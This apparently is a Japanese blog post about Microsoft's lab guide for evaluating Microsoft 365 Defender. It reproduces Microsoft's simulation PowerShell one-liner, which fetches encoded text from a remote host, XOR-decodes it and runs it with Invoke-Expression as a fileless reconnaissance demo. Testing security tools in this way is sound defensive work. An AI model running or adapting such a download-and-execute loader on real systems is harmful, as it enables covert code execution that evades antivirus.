Microsoft 365 Defender ラボ環境でのテスト方法が提供されていました

Microsoft 365 Defender ですが、ダッシュボードを見ただけでも、とてつもないパフォーマンスを秘めていることが垣間見えますが、実際にお金を払って使うとなるとセキュリティに関する観点が中心であるため、ユーザーへのエクスペリエンスが見えにくいことなどから、若干躊躇してしまう。というのが実際のところではないでしょうか。

そこに対処すべくなのかは定かではありませんが、どのような脅威に対応できるのか試すためのラボ環境の作り方が提供されていました。

f:id:mohessu:20210619224547p:plain

この資料では Microsoft 365 E5 のテナントの取得から環境整備、エクスプロイトの実行まで包含して解説してくれています。

https://docs.microsoft.com/ja-jp/microsoft-365/security/defender/m365d-evaluation?WT.mc_id=M365-MVP-5002496

特にみておきたいのは、以下のエクスプロイトの実行でしょうか。

PowerShell を用いてメモ帳を起動し、裏で情報収集を行うような動きをするスクリプトが提供されています。

https://docs.microsoft.com/ja-jp/microsoft-365/security/defender/m365d-pilot-simulate?WT.mc_id=M365-MVP-5002496

このスクリプトですね。
一見わからないですが、サイトからデータをとってきて、特定の変換をかけたうえで、バイト配列を起動するという怪しいスクリプトになっています。

docs の内容だと無駄な改行が入ってしまっているためうまく起動しませんが、以下のように改行を省くとうまく動作します。
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$xor = [System.Text.Encoding]::UTF8.GetBytes('WinATP-Intro-Injection');$base64String = (Invoke-WebRequest -URI "https://winatpmanagement.windows.com/client/management/static/MTP_Fileless_Recon.txt" -UseBasicParsing).Content;Try{ $contentBytes = [System.Convert]::FromBase64String($base64String) } Catch { $contentBytes = [System.Convert]::FromBase64String($base64String.Substring(3)) };$i = 0;$decryptedBytes = @();$contentBytes.foreach{ $decryptedBytes += $_ -bxor $xor[$i];$i++; if ($i -eq $xor.Length) {$i = 0} };Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($decryptedBytes))

このようにメモ帳が起動すれば成功です。

f:id:mohessu:20210619150437p:plain

Invoke-Expression は文字列を実行するコマンドレットなので、アプリが起動するのは通常の動作、かつファイルレスの動作のため、ウィルス検知ソフトなどでは検知ができない。という点で、最近のトレンドを表していると同時に Microsoft 365 Defender でなら検知可能であるということが見て取れます。

手順が長いので若干躊躇してしまいますが、組織の中でセキュリティ管理を任されている方はぜひ一度実行してみることをお薦めします!

音楽:ひきつれ